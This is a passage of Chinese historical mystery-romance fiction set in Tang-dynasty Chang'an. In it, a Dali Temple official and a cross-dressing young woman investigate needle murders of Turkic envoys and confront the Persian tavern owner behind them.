大人鲜少去库房,库中尽是大理寺的宝物,有陛下赏赐的珍宝,也有诸多神匠打造的兵器。 崔恪推开库房的门,袖口滑落出一支簪刃,他攥在手中,步伐沉稳走进去。 库中满墙冷兵器,寒光闪烁,藏于此处的暗器更是数不胜数,高架之上堆砌的传世珍宝绫罗绸缎似被弃之物。 崔恪环顾四周,似在找寻什么东西。 片刻走到高架之前,取下一个雕刻异域花卉的锦盒,打开盒子,盒中有一褐一白两个小瓷瓶。 白瓶上写着浮沤散三个字,褐瓶则没有留字。 他将褐瓶拿在手里,又将锦盒放回原处。 “崔大人,您怎么到库房来了?” 看守库房的官吏是大理寺中的老人了,花白胡须,崔恪的爹还在大理寺述职的时候,这人就在这里了,大理寺中的人都喊他一声酒爷。 他喜好喝酒,必得每日到城郊竹林酒肆去打酒。 这段时间他就把库房锁起来,今日回来看到库房门敞开,他还以为进了贼人,酒都醒了大半。 酒爷手提执壶,笑着跟面前的崔大人打招呼。 这位可是稀罕人,平日除了审犯人就是在抓犯人,想见他一面可难啊,跟他那个爹简直是一个模子刻出来的。 崔大人的父亲,倘若不是因为数十年前的那桩旧案,也不会惹怒武后被贬岭南。 5. 第五章 少卿他爹,前少卿大人崔世茂,被高宗称赞为大唐百余年难得一见的破案奇才,若是今日还在京中当职,使者被害一案用不了三日就能告破。 “例行清点。”崔恪挺直腰板,骨指分明的大手藏在宽袖之下,一手握簪,一首攥瓶,面无表情地从酒爷面前阔步走出去。 酒爷望着崔大人走远的背影,空出手摸一把胡须,若有所思。 片刻收回视线,走进库房,环视四周,最终将目光放在了高架上方才被崔恪动过的锦盒上。 “原来大人是为此物来的。” 入夜,大理寺院中阵阵微风,月牙皎白,参天大树的枝桠似一双手从地下伸出来,触及九霄云端。 季琢玉被安排住在大理寺院中的一间偏房,一桌一椅一床,简陋空旷,窗棂一碰好似要掉下来。 比这更糟糕的地方,她都住过,有个能睡觉的地方就行,尽快破案找到红绫领了该领的银子回家,才是要紧事。 她拍了拍手上的灰尘,合衣躺在床上,闭上眼正准备入睡。 屋外闪过一个黑影,矫健的步子踩过地上的落叶沙沙作响,她倏然睁开星眸,远山眉紧跟着蹙起。 随后翻身站起,锐利的目光警惕看向窗外。 这里是大理寺,什么贼人敢在此地行凶? 季琢玉双手推开屋门,门外空无一人,唯有一片竹叶从半空中盘旋落下。 门外地上放着一个褐色瓷瓶,瓶底压着一个字条,笔力劲挺,成浩然之气。 “解药,服下。” 方才在屋外一闪而过的黑影是逃走的苏拉雅? 大半夜追到这里来送解药,算她还有点良心。 季琢玉弯腰拿走地上的东西,反手将屋门关上,服下解药,坐在床边运功,片刻便恢复了内力。 次日,鸡叫声连叫三次,季琢玉理好衣裳,揉着眼睛从屋里走出来。 遇到提着空执壶的酒爷从院中经过,她自然不认得眼前人。 酒爷一大早就听闻崔大人昨日从外面带回来一个胡人男子,他好奇偷看一眼,正巧看到屋内桌上放着的空瓷瓶。 酒爷皱起眉头,捋了捋花白胡须,心想这不是昨日崔大人从库房拿走的东西吗,原来是给眼前这位胡人少年的。 酒爷上前一步,日光照在季琢玉的脸上,浅黄的阳光从她的耳洞穿过,酒爷眉头拧得更紧了。 女扮男装?她是胡人还是大唐之人? “胡人粗鲁,多如直立黑熊,像公子这般如此清秀娇小的男儿郎倒是少见。 酒爷走过去询问,继续端详她的模样,总觉得有种说不上来的熟悉感,像是一早就见过了。 十七八岁的少女,哪儿会跟他从前见过,看来他昨日喝下的酒,今早还没醒过来。 “您是?” “老朽负责看管库房,他们都叫我酒爷。” 季琢玉看着走过来的酒爷,大理寺中少见两鬓斑白之人,看他穿着并不像是官家人,倒像是乡间务农的老伯。 “见过酒爷,在下姓季,是崔大人请来协助办案的,并非是什么胡人,只是借此身衣裳在坊市间行走图个方便。” 季琢玉清清嗓子,酒爷叫她公子,她还真把手背在身后,装起读书人来了。 酒爷并未多问她为何扮作胡人少年的模样,人既然是崔大人带来进来的,大人自然知晓她的底细,旁人也不必多问。 “原来您就是季公子,恕老朽眼拙。”酒爷点头,慈祥地笑着,“昨日大人给您的解药可还管用?突厥人擅用迷药,季公子日后可要小心些。” 季琢玉顺着酒爷的视线扭头看向屋内桌子上的褐瓶,伸手指着问道:“您是说,那瓶解药是崔大人送来的?” “除了崔大人,再无人能堂而皇之从大理寺库房取走长安城中独一份的浮沤散解药。” 酒爷刚说完此话,季琢玉便赶紧探知自己的脉象。 “公子随老朽去饭堂用早饭吧。” 季琢玉收了手,跟上酒爷的脚步。 她的脉象并没有问题,可她想不明白,崔恪为何要送解药给她,他不是怀疑她是使者遇害的凶手吗? 她的内力恢复,他就不怕她趁机跑了? 饭堂里来来往往的官差,从季琢玉身边经过,皆目不斜视,她还想着躲人视线,压根不需要这么做。 季琢玉大马金刀往矮凳上一坐,抬起一只腿,一甩衣袍,左脚踩在凳子上,右手端着博饨,左手拿着肉饼,一口咬掉大半个。 “季……公子,用早饭真是豪放不羁。” 酒爷站在一旁笑得慈祥,余光撇见门口一角绯色官袍,颇有眼力见地挪步到旁边。 崔恪走进来看到季琢玉比男人还粗鲁的吃相,浓眉微皱,走到她旁边。 “吃好了就跟我走。” 季琢玉嘴上还沾着博饨渣,捏着肉饼的手满是油,她看到崔恪,赶紧把手里的碗筷肉饼放下,用衣袖擦嘴。 “大人,我吃好了。” 她不过才吃了几口饭,再给她几个肉饼几碗博饨也吃得下。 崔恪都这么说了,她哪儿能坐着继续吃,赶紧起身跟着崔恪出去。 崔恪穿着深绯色圆领公袍走在前面,腰间束着象征品级的金玉带十三銙,玉质温润,金饰闪耀,沉沉地压着袍服,步伐沉稳,隐约有刚从严肃朝堂中抽身而退的松懈。 “是有线索了吗?” “咱们这是要去哪儿啊,大人。” “昨晚是您给小的送的解药吗,真是谢过大人了。” 季琢玉跟在他身后,两人隔着半步,她的个头刚到崔恪肩膀以下的位置,加之崔恪常年习武,宽肩窄腰,站在前面足以挡住她的身躯。 “你是在审我吗,想要我先回答你哪个问题?” 崔恪忽然站定,声音冷硬,话语中似乎有不悦,嫌她叽叽喳喳,一大清早话多扰人清净。 季琢玉险些撞上他的后背,上半身下意识后仰,好不容易站稳脚步。 “小的怎么敢审问您呢,我只是随口一问,大人做事不必告知我缘由。” 崔恪视线落在她的头顶,不着痕迹地收回,转身继续往外走。 季琢玉快步跟上 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“朝廷虽允许外番人在长安经商,却也划定了容他们居住的区域,波斯人怎能在此地买下这家酒肆?” 崔恪眼底似有思考,迈步进了酒肆,环看四周,眼中是冰冷的审视。 他虽换下了官服,脸上不容置疑的权威之色不减半分。 季琢玉站在他身旁,自然地从舞娘端着的银质鎏金果盘中取走一串新鲜的紫葡萄,细细咀嚼。 她是酒肆中的常客,舞娘皆都认得她,笑着跟他问好,声音娇而不腻。 “季小爷。” 季琢玉轻挑眉头,摆了摆手示意她们下去,她默默走到崔恪身边。 “大人有所不知,朝廷虽规定了外番人居住的坊市,却没说不许外番人在其余的坊市谋生,这家酒肆的东家住在东边礼泉坊,在此地谋生并不违背朝廷律法。” 崔恪站在酒肆之中,不落座,背手而立,眼神里是阅尽人心诡谲的冷漠,声音沉稳。 “从礼泉坊到长安酒肆一来一回少说也要三个时辰,在此地谋生并非是最好的选择。” “大人所言极是,两地甚远,恐误了宵禁,所以这家店的东家并不常来,就连我也只见过她两次。” 季琢玉吐掉嘴里的葡萄籽,边跟崔大人说话,边跟台上的异域舞娘眉来眼去。 崔恪看到她这副样子,微拧眉头,刚想说什么还没来得及说出口便被季琢玉拉住手臂拽到一旁。 “大人,您不能光站着呀,多引人注目啊,这会儿的人不怎么待见官差,您若是被识破身份,可就什么线索也查不到了。” 季琢玉抓着他的手臂,硬是把他按在角落的桌前,小声在他耳边提醒。 崔恪仪表堂堂,人中龙凤,又常年在大理寺那种地方做事,眼神和举止自带官家人的严肃与权威。 他们是来查案的,又不是来抓人的,还是不要暴露身份的好。 崔恪垂眸向下看,目光落在紧抓着他小臂的手上,眼底一抹异样的深沉。 6. 第六章 季琢玉注意到他的神色,立马察觉到自己的举止不合礼数,赶紧松了手。 一喝的醉醺醺的突厥打扮的客人扯着小二嚷着非要见这家店的东家。 “我倾慕丽娘已久,今日你务必要叫她出来见我,我已备好一万两银子,只要丽娘点头,我立刻差人将聘礼送来。” 小二见惯了这等肖想东家的男人,脸上陪笑,眼神难掩嫌弃,嘴里说着尊重又敷衍的话:“这位爷,不是我家东家不出来见您,只是东家这几日受了腿伤,实在是下不了床,最近几日没法来店里,您有什么需要跟我说,我一定给您办好。” 小二用眼神示意旁边的舞娘过来服侍醉酒的男人。 舞娘扶着突厥男人上楼,晃晃悠悠进了二楼包厢。 崔恪坐在一楼角落,并非僵硬的正襟危坐,而是蓄势待发的沉稳。 季琢玉见大人目光始终跟着他们,浓密的剑眉又紧锁着,便知道方才上楼的突厥男人就是他们来酒肆要找的“证据”。 “大人,要跟上去吗?”她试探问。 崔恪搭在桌沿上的手指微微绷紧,低垂着眼帘,似乎在思考什么重要的线索。 丽娘? 一个波斯女人在长安城中打理这样一家颇具规模,食客复杂的酒肆,并非是易事,若说无长安城中有权有势之人的帮衬,是不会有人信的。 这时,邻桌喝酒的波斯男人突然起身,端着盛着葡萄酒的琉璃杯走到季琢玉身旁,话还没说,手臂便搭在了她的肩膀上。 “季小爷,昨日没喝尽兴,今天咱们继续啊。” 崔恪坐在桌边,腰背挺直,双手端正放在腿上,怎么看也不像是来喝酒作乐的。 看向冒然走过来的波斯男人,寒凉地目光落在季琢玉的肩膀上,嘴角抿成一条冷硬的直线。 季琢玉面露尴尬,默默挪动一步躲开身边波斯男人的示好,她笑得不太自然。 “额图,我今日实在没法喝酒,我们改日再约,哈哈,改日再约。” 波斯男人只好端着酒杯回去,一脸的失望。 崔恪脸色更不好看了,抬起略显沉重的眼皮,盯着季琢玉,面不改色端起面前的葡萄酒。 “改日再约?” “你既然这么喜爱喝酒,今天就在我面前喝个尽兴。” 季琢玉吞了吞口水,赶紧摆手解释道:“大人,误会啊,我不喜饮酒,只想跟着大人您查案,至于额图……他是当朝索将军的亲弟弟,您也知道,他这样的身份,不是我一介草民能得罪的。” 她现下只担心触怒崔恪,得不到查案的补贴银两。 一天百文,十天就是千文,秦姨得在家卖多少胡饼才能卖出来。 崔大人不语,季琢玉趁机转移话题。 “大人,我们一大早来这究竟是要做什么?” 崔恪看向二楼包厢,开口时,声音低沉平稳:“波鲁身边有一随从,名为阿布,使者遇害后他便失踪了,今早有人看到他进了这家酒肆。” 季琢玉轻轻点头,听到失踪二字想到还没有找到红绫,多少有些心不在焉。 “那大人一定要将此人带回大理寺,他一定是知道什么才逃走的。” 啊—— 二楼包厢内,突然传来女子受了惊吓的尖叫声。 两人几乎是同时起身,三步变两步,迅速上了二楼。 名为“兰桂”的包厢外围了许多宾客,吓得脸色惨白的舞娘用手指着房内,嘴里嚷着:“死人了,死人了。” 季琢玉蹲到地上,随崔恪一同查看尸体。 一名突厥人躺在地上,已经咽了气,浑身酒气,身上并没有伤,也毫无中毒的迹象。 “大人,他的死状跟……” 昨日遇害的使者一样。 季琢玉话只说一半,从死者脑后取出一根细长的银针,她看向崔恪,想到昨晚看过崔十八拿来的案卷,仵作验明使者死因是因为脑后中针。 此物可伤人也可救人,是东突厥可汗此番遣使来唐所带的宝物之一,但在和亲公主失踪后此物也不见了,故而使馆的人都怀疑是和亲公主用此物杀害使者,带走了凶器。 如今公主尚未寻回,此物再度害人,保不准那些官差还会以为是公主在害人。 崔恪轻嗯一声,弯腰从地上捡起一个耳坠,通体金子,镶嵌鹅蛋形的透红珐琅,突厥送入大唐的和亲公主画像上就有这么一对耳坠。 “不是公主所为。” 未等崔大人问,季琢玉按耐不住性子,先下了定夺。 “何以见得?” “我昨日见到苏拉雅之时,她耳朵上没有这副耳坠,而且这银针暗器应该也不是她的,如果她身上有这东西,压根就不怕金吾卫追来,早就跟金吾卫打起来了,可我并未听说追寻公主下落的官兵里有人受伤。” 崔恪单手背在身后,看着她说:“继续。” “此地每隔半刻就会有守城官兵巡逻经过,苏拉雅在这里动手很容易就会被人发现,她既然已经成功逃跑了就不会冒险杀人暴露自己的踪迹。” 季琢玉并不想为苏拉雅说好话,她只凭实情说话,丢在阿布尸体旁的耳坠,不过是障眼法罢了。 “这里只有一个耳坠,如果我没猜错,在波鲁大人尸体旁,崔大人应该也发现了一个相同的耳坠,也就是为什么使馆里的人都说是公主杀人。” “依我看,只凭这个东西,不足以说明凶手是公主。” “大人不仅不应该怀疑和亲公主,反而还应该派人找寻公主,将其秘密保护起来。” 崔恪看着她的眼神中多了几分深意。 季琢玉一脸骄傲,看向崔大人的眼神,似乎是在说:“我聪明吧,你花百文请我协助办案,可是很值的。” 大理寺的人赶到,护卫封锁长安酒肆,一一排查酒肆中的人。 崔十八持剑从外面走进来,来到崔恪身边,态度恭敬道:“启禀大人,公主昨晚被送到别院后由我们的人严密看守,今早一直在院中并未离开。” 季琢玉看向始终冷静的崔恪,明白是怎么回事,咬了咬唇,她刚才干嘛卖弄,地里咕噜地说一通,自找没趣。 崔大人什么都清楚,根本不用旁人提醒。 他自始至终就知道是有人在陷害公主,企 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这期间,红绫遇害,若不是凶手遗落,寻常百姓看到她的尸体,必然会跟县廨报案。 到现在,都没有任何人报案。 崔恪转身看一眼在酒肆里与他相望的季琢玉,穿胡服的漂亮“少年”歪着脑袋看他,俏皮灵动,一脸乖张笑意。 他薄唇嚅动,似乎是有什么很难说出口的话。 或许,红绫的尸体没被人看到,也是一件好事。 眼看护卫都要从酒肆撤走了,季琢玉走出来寻崔大人,她笑着走过去。 “大人,现在酒肆的线索断了,不如咱们从永兴坊查起,那是使者真正遇害的地方,您还记得昨日捡到的佩囊吗,或许找到佩囊的主人,会有破案的线索呢。” 她想借大理寺的人,找到红绫。 不过,也奇怪了,她虽然爱玩总是在红绫眼皮子底下偷偷溜走,但不出一个时辰,红绫一定能找到她,她常去的地方不多,红绫都知晓。 已经过去一天一夜了,还是没有红绫的身影,难道这次真生气了,先一步回家了? “嗯,永兴坊我让人去查,你随我去使馆。” 崔恪转身从长安酒肆前离开,季琢玉快步跟上。 崔十八低着头一直默不作声,甚至不敢直视季琢玉的眼睛,他心里藏不住事,大人显然没想告诉季公子红绫的事情。 长安城已过午时,坊间传出诱人的饭香,街上没什么人。 青砖石瓦投下长长的阴影,两侧墙荫之间一道颀长挺拔的身影,正气凛然,身旁跟着的人则是娇小灵动,似洒脱跳动的林中小鹿。 季琢玉背着手,歪头看着崔大人俊美的侧脸,拽上他的衣袖,轻晃两下。 “大人,我昨晚一宿没回家,家里人肯定着急了,您能许我回去一趟吗,我保证不耽误查案,回去跟家里人报个平安就立刻去使馆找您。” 崔恪面不改色,将她的手从自己的衣袖上掰开,直截了当拒绝她:“大理寺规定与案件相关之人不能私自回家。” 7. 第七章 季琢玉眨眨眼,冲着崔恪抛媚眼,不甘心继续哀求。 “大人~我没有私自回家,这不是在跟您请示吗,您点个头我不就是奉命回家了吗?” 崔恪睨眼看她,冷声道:“我从不徇私。” 季琢玉不满地哼一声,她就知道,号称铁阎罗的大理寺少卿怎么会答应她的请求,他昨日差点拔剑取了她的项上人头。 她现在能活着在这儿说话,已经是眼前这个铁阎罗手下留情了。 咕噜咕噜—— 季琢玉走着走着,肚子突然响起来,已过午时,也到饭点了,可崔大人半个字也没提吃饭的事,一门心思在破案,他的心是铁做的,身体也是吗? 季琢玉拿眼神自下而上打量他,肩宽而平直,织锦袍服被撑起隐约可见的轮廓,浑身的紧实肌理并非是单是武夫般蛮横。 呼吸沉稳悠长,彰显强大内敛的内力,十三銙金玉的腰带紧束在窄腰上,勒出清晰而劲瘦的腰线。 臂膀双腿皆修长,手腕骨节分明,线条干净利落,大手微茧,指甲修磨的宽而圆润。 她正琢磨着该怎么开这个口,大人没饿,她却饿了,这个时候说要吃饭,会不会惹怒他? 今日的百文还没结呢。 季琢玉忽然出声:“诶,大人,这好像不是去使馆的路。” 她认出周围的铺子,一眨眼怎么两人一前一后走到这里了,秦姨的胡饼铺子就在前面几米处。 “本官饿了。”崔恪语气平淡,头也不回,大步流星走在前面,单手背在身后,气宇轩昂。 季琢玉赶紧小跑到他面前,用手指着前面的胡饼铺子,介绍道:“秦姨开的胡饼铺子是长安城中一绝,昨日大人应该尝过了,不如今日还是去吃胡饼吧。” 崔恪漫不经心应声,随她走进羊肉胡饼铺子。 秦姨刚做出一锅胡饼,一走进铺子,扑面而来的麦粉香气和火烤后羊肉的焦香,胡饼表面芝麻被烘烤过后散发着坚果油脂香。 “来四个胡饼,两碗酪浆。” 季琢玉吆喝一声,屁颠屁颠在崔大人身边伺候,又是拿袖子擦桌子又是倒茶水。 秦姨抬头看她,嘴里苛责,眼神却十分宠溺。 “你这丫头,怎得又打扮成这个样子,女儿家成何体统,红绫也是,怎么不拦着你。” 边说边端上吃食,看到端坐在桌前的崔恪,神色略惊。 这位公子昨日宵禁前只身一人前来,买了一个胡饼,并未提起跟琢玉是朋友。 季琢玉担心秦姨看出崔恪官家人的身份,赶紧介绍:“秦姨,这位是崔公子,是我刚认识的朋友,听闻秦姨做的胡饼是长安城中一绝,慕名来品尝。” “原来是玉儿的朋友,崔公子一看就是富贵之人,不知是做什么生意的?” 崔恪欲要开口,便见季琢玉打断秦姨的询问。 “哎呀,秦姨,都说了是我的朋友,您问这么多像审人似的,吓着这位公子,人家日后不跟我做朋友了怎么办。” 秦姨看看两人,故作愠态:“你平日里交往的都是些什么狐朋狗友,如今好不容易跟正经人打交道了,还不许我问问了。” “我知道了秦姨,好饿啊,崔公子也饿了,我们先吃饭,吃完再说。” 季琢玉冲着秦姨嬉皮笑脸,伸手分盘子里的胡饼,给崔恪两个,自己留两个。 崔恪手拿胡饼,凝视着季琢玉的脸,深邃的眼眶几分审视。 在自家人面前说谎,他大理寺少卿朝廷四品官员的身份就那么上不了台面吗? 秦姨低头一看,担忧问道:“你平日一个人就能吃四个,怎么今天就吃两个?是胃口不好还是生病了?叫你少在外面闲逛,是不是染了风寒,让我瞧瞧。” 季琢玉虽然管她叫秦姨,她说的话却不像是一个姨母会说的,这般关心,刀子嘴豆腐心,更像是一个母亲。 “秦姨,我没事,真的没事,您快去忙吧,不必招呼我和崔公子。” 季琢玉双手搭在秦姨的肩膀上,推着她往后院去。 要是被秦姨和花大叔知道,她跟官家人来往,非罚她一个月不许出门不可。 她这样的性子,可闲不住,禁足比打她一顿还要让她难受。 避开崔恪的视线,季琢玉赶紧问秦姨:“红绫回来过没?” 她神色不同于刚才的嬉笑,变得忧心忡忡,秦姨不明白她为何如此问,反问:“红绫不是跟你在一起吗?” 如此便是说,红绫从昨晚到现在都没有回过胡饼铺子。 “我把红绫弄丢了,我……”季琢玉眼里噙着泪花,嘴角一抽一抽,又委屈又自责。 秦姨眉头皱起,十分担心,没法子只能安慰说:“别多想,也许红绫是因为别的事情耽搁在外面了,说不定等会就回来了。” 谁都知道红绫是乖巧的孩子,怎会因为什么事耽搁在外面。 她是突厥商贩和大唐青楼女子生下的孩子,出身不好,五岁时被亲娘卖给人牙子。 十岁的季琢玉和秦姨出去逛灯会,在街上遇到人牙子,她闹着无论如何也要秦姨把红绫买下来。 最终,她跟秦姨预支了一整年的零用钱将红绫从人牙子手里买下来。 临走时,听人牙子说,红绫年纪虽小却是个美人坯子,原本打算高价卖到花船上的。 季琢玉只求红绫平安无事,她不敢往坏了想,点点头折返回去跟崔恪吃饭。 胡饼吃了一个又一个,她的手刚碰到第三个胡饼,才意识到手伸到崔大人面前了。 崔恪侧脸,抿一口茶水,冷声:“我吃饱了。” “我替大人把剩下的这个胡饼吃了,别浪费。” 季琢玉咧嘴笑,嘴角沾着芝麻粒,牙齿咬破酥脆的饼皮,发出“喀嚓”极其悦耳的燋脆声响。 胡饼内陷是剁的细碎的肥瘦相间的羊肉,柔软且饱含汁水,饼皮内层未被烤焦的部分,吸饱了羊肉的精华汁水,变得柔软而富有嚼劲。 一大口下去,麦香与肉香、油脂香、香料香在舌尖交融,满嘴咸香鲜美。 “大人,我方才看您吃胡饼,您吃胡饼的方式就不对,得大口大口吃才香呢,得像我这样。” 季琢玉说着,一手拿着半个胡饼,另一只手端着酪浆,毫无坐相可言,顺 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男人的声音都有几分像女子,不似寻常男人的粗旷沙哑,多了几分尖细婉转。 秦姨拍打几下袖子上的麦粉,眼神不似刚才那般淳厚,有种不属于坊市小民的敏锐。 “只是单单闯祸还好了。” “你不在的这几天,你那心肝丫头把官家人招来家了。” 花大叔拿着伞进店,将花伞放在桌子上,不以为然道:“你没说什么吧。” “我有数,玉儿这丫头聪明,我说多了她会起疑心的。”秦姨端上一碗热腾腾的瘦肉酪浆放在他面前,又说:“我就当那位崔大人在长安城做买卖的商贩便是。” 花大叔端碗的双手一顿,抬头问她:“崔大人?你是说玉儿认识的官家人姓崔?” 秦姨:“玉儿喊他崔公子,我看那人通身的气质,不似寻常小吏,估摸在朝中担任不小的官职。” “你所见到的崔公子恐是大理寺少卿崔恪。”花大叔紧紧蹙眉:“此人是崔之固崔太傅的嫡长孙,其父是前大理寺卿崔世茂。” 秦姨脸色难看:“竟是他的儿子,要不等玉儿回来,我编个理由让她跟崔恪断了来往,省得再惹上麻烦。” 花大叔舒展眉头,喝一口酪浆,放下碗道:“倒也不必如此,当年之事崔恪尚且年幼并不知情,崔世茂如今也已经调任岭南,咱们大可放心。” 秦姨转身,不悦地哼一声,嘴里嘟囔道:“怪不得我看着不顺眼,原来是那人的血脉,真是跟他一样,古板庸俗,玉儿跟他走得近但愿两人别生出什么不该有的情爱。” 花大叔调侃道:“你若是不放心就早早让媒人给玉儿定下亲事,我听闻城郊问柳书院昌先生家的老三尚未婚配,又中了举人,倒是可以考虑一下。” “昌家老三?”秦姨想了想,果断说:“不妥不妥,昌家虽是读书人,但儿子众多,光是嫡出就有八个,玉儿嫁过去难免要处理妯娌婆媳这些让人头疼的事,女儿家婚事急不得,此事改日再议。” 8. 第八章 花大叔似笑非笑,他跟秦姨开个玩笑罢了,心里清楚她嘴上催着玉儿嫁人,实则心里万分不舍。 自玉儿行及笄礼以来,冰人隔三差五就过来。 宣阳坊孙家布店的老二貌比潘安;崇仁坊铁匠铺的鲁老大力大如牛;义宁坊韦记酥山铺的韦老六其父过世后留给他的家产颇为丰厚。 这些个请人来说媒的,秦姨一个也没相中,总是能挑出毛病。 孙老二貌比潘安,身体却不好,是个病秧子;鲁老大倒是力大如牛,可惜年过三十,老了些;韦老六家境殷实,却是外室所生,出身不好。 好不容易有秦姨中意的,姓卢,与她一同拜师学武功,算是她的师兄,人家哪儿哪儿都好,季琢玉自个又不愿意了。 后来不知道怎的,她竟说不愿再相亲了,此后一晃,就过去了六年。 如今二十又一,与她同龄的鲁屠夫家的女儿已经是三个孩子的娘了。 季琢玉和崔恪来到使馆,使馆内已经恢复了往日的风光,外番使臣来来往往,络绎不绝。 一番盘问下来,什么线索也没有。 季琢玉一屁股坐在连廊的美人靠上,手随意搭在栏杆上,侧着身子看湖中的鸭子。 晶莹的汗珠顺着她的鬓角淌到尖细的下巴上,没入敞开的领口。 崔恪刚走上前一步,又转过身去,背对着她,周身气息难以察觉的慌乱,耳垂泛出一抹浅红转瞬即逝。 “大人。”身后女儿家声声唤他,清脆悦耳。 一眨眼间,季琢玉来到他身旁,边说话边拿手扇风。 “大人,咱们都在这查了好几个时辰了,盘问了不下二十个外番人,可是一点线索也没有,您确定凶手还在使馆中吗?” “嗯。”崔恪轻答。 季琢玉无奈,她不知道崔大人凭什么证据作出的判断,既然大人说凶手还在使馆中,那她作为协助办案的随从,就得继续在这查下去。 使馆内的人,大理寺早就一一查过了,为什么崔大人还要让她再盘问一遍,她想不通。 忽然,使馆门口进来一个戴着面纱的波斯女人,不是生面孔,正是长安酒肆的女东家丽娘。 “是法丽。”季琢玉认出她,疑惑地看向崔恪,“她就是长安酒肆的东家,我跟你提起过的,那个很少露面的波斯女人。” 使臣随从阿布醉酒时嚷着要见的人就是她,可当时小二说她受了腿伤无法下床,此时现身使馆的丽娘分明步伐矫健,行走自如。 季琢玉着急要上前拦住法丽的去路,刚起身就被一只大手抓住手臂拽回去了。 “再等等。”崔恪语气平淡。 “还等什么呀,她肯定知道使者被害的事情,不然跟她相识的阿布怎么会死,她又怎么会撒谎戴着面纱出现在这里。” 季琢玉皱着眉,柳叶似的细眉弯成小山丘,柔弱却坚韧。 “看看是什么人跟她见面,不要打草惊蛇。” 崔恪跟崔十八一同办案的时候,从不会说这些,崔十八只管听命行事,不会像季琢玉一样如同叽叽喳喳的雀。 季琢玉心想大人说的对,光凭丽娘一个人,怎么能完成如此缜密的凶案。 杀害使者嫁祸公主,随后将使者身边的唯一随从阿布也灭口,一切都在凶手的谋划之中,有条不紊地一步步进行着。 二人跟着丽娘去了使馆后花园,眼睁睁看着丽娘走到假山旁边。 假山中出来四五个突厥男人,健壮高大,穿着厚实的翻毛羊皮袄,腰间挂着宽厚的皮质腰带,裤腿塞进高及膝盖的皮靴里。 季琢玉瞳孔放大,仰头看向崔恪,说:“我借着这身衣服跟外番人搭话闲谈,这几个突厥人并未露面,他们是故意藏身在此地的。” “嗯。”崔恪点头,松开抓着她胳膊的大手,半边高大的身躯依旧挡着她的身影。“如果他们是寻常的突厥人,见你出现在使馆中不会不出来相见。” 季琢玉百思不得其解,问:“可丽娘是波斯人,她怎么会跟突厥人搭上关系?” “自从十几年前苏大将军领兵将西突厥击溃后,大部分西突厥子民归顺安西都护府,还有一部分人西迁南迁至波斯国和天竺国,与波斯、粟特人交往频繁,你认识的这位丽娘怕早就跟他们相识了。” “大人学识渊博,没想到对东西突厥国的事情也了如指掌。” 季琢玉仔细看向不远处的几个突厥男人,恍然大悟,连连点头:“他们果然是西突厥人。” 她眼神坚定,语气不容置疑。 崔恪嘴角一勾,凝视着她问:“你看出来了?” 季琢玉浅浅一笑:“东西突厥国的人虽长相难以区分,但习惯却不同,西突厥人喜穿软皮靴,信奉波斯人创立的景教,故而身上佩戴十字架,东突厥国人不会如此。” “还不算笨。”崔恪脸上笑意竟有骄傲的意味。 季琢玉抬头对视上他的目光,看得入迷,说:“大人您该多笑笑,没有人说过您笑起来很好看吗,您总是绷着脸也不怪大家叫你铁阎罗。” “铁阎罗?”崔恪语气平平,目光落到她的脸上,复问:“你也是这样以为的?” 崔恪不曾知晓坊市间百姓称呼他什么,崔十八等人也不会把这种无聊的事情告诉他。 季琢玉立刻意识到自己说错了话,她怎么能叫崔恪铁阎罗,他可是朝廷四品官员,这是大不敬。 “您是大理寺少卿,秉公判案,铁面无私,这是好事,又何必在意寻常百姓的看法,他们敬您自然也怕您。” 季琢玉匆忙解释,崔恪脸上没有半分宽解之意,她想了想又说:“大人,我只是听闻,从未真正往心里去。” 崔恪终于把锐利严肃的眼神从她脸上挪开,她偷偷拍了拍胸脯,安慰自己受到惊吓的心脏。 忽然一脚踩在地上的断枝条上,“咔擦”一声,惊扰到假山后面的男女。 “谁!”丽娘慌忙将脸上的面纱蒙上,袖中掉落一个银针暗器攥在手心里,警惕地环顾四周。 季琢玉拽了拽崔恪的衣袖,小声提醒:“大人,快看,是凶器。” 突厥男人敏锐地察觉到树后有人,他用眼神示意丽娘不要用暗器动手,手持弯刀放轻脚步一步步走过去。 季琢玉捂住自己的嘴,一脸自责地看向旁边的崔大人。 崔 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不知道两人说了什么,突厥男人便将弯刀放下了,虽然收了刀,眼里的杀气却没有收敛半分。 季琢玉心想,这二人地里咕噜地说了一通什么,难道他们打算放过她了? 她正要跟丽娘嬉皮笑脸,维持平日里“季小爷”一贯的痞气,丽娘忽然拿出手中暗器,轻盈飘逸的宽袖下飞出一根手指长短的纤细银针。 季琢玉眼疾手快,纵身而起,一个翻身躲过暗器。 丽娘眼睛一亮,凶狠之光从漂亮的眼眸中迸发出来,面纱下是一张极美的异域美人脸,可惜她的眼睛骗不了人,足见她心狠手辣。 “你会武功?” 丽娘只知她是长安酒肆的常客,整日女扮男装喝酒作乐,观察数日也没发现什么奇怪之处,是个没礼数的丫头,更是个不足挂齿的小人物。 却没想到季琢玉会躲过她的暗器。 季琢玉咬咬唇,觉得方才真是天真,怎会觉得丽娘会出手相救,她可是杀害使者和随使的凶手。 “丽娘,你为何要与我动手?” 她只能装作什么都不知道,但求崔十八能尽快带人过来。 崔恪还在树后站着,若是被这群歹人伤了分毫,大理寺的人治罪于她,她就是有十个脑袋也不够砍的。 丽娘非要杀了她不可了,也不回答她的话,又抬起手挥袖射出暗器,只是几根小小的银针,季琢玉还是躲的过去的。 “你们一起上,务必杀了她,此人不可留。” 丽娘恼羞成怒,对一旁站着的四五个突厥男人下令,她说的是波斯语,季琢玉听不懂,傻傻地愣在原地。 弯刀寒光崩发,霎那间冲她逼来,银光刺目,她来不及闪躲,紧闭双眸惊呼一声。 耳边是重物落地的咣当声,紧接着是突厥人痛苦的惨叫声音。 没有刺痛感,她缓缓睁开眼,崔恪稳稳立于她身前,单手持长剑,身形挺拔如崖边劲松。 身上深青圆领袍装的下摆在方才的疾动中犹自微微拂动,此刻却已沉静垂落,覆住了脚下翻飞的沙尘。 9. 第九章 地上横七竖八躺着四五个突厥男人,血流满地,痛苦不堪,丽娘浑身颤抖站不住,瘫坐在地上,金钗脱落,脸色煞白。 季琢玉微张红唇,强装镇定问他:“你有这本事,刚才干嘛不说?” 他早说他一个人就能打过这一群人,她还用得着把他藏在树后孤身一人现身赴险吗? 她以为崔恪是个文官,只会些花拳绣腿的功夫,没想到他的武功如此之强,单手持剑击倒强悍的突厥人,一滴血都没有沾到袍服上。 “想说来着,你动作太快。”崔恪收起佩剑,转身冷冷地瞥她。 季琢玉摊摊手,一脸无奈,怪她性子急,怨不得崔大人。 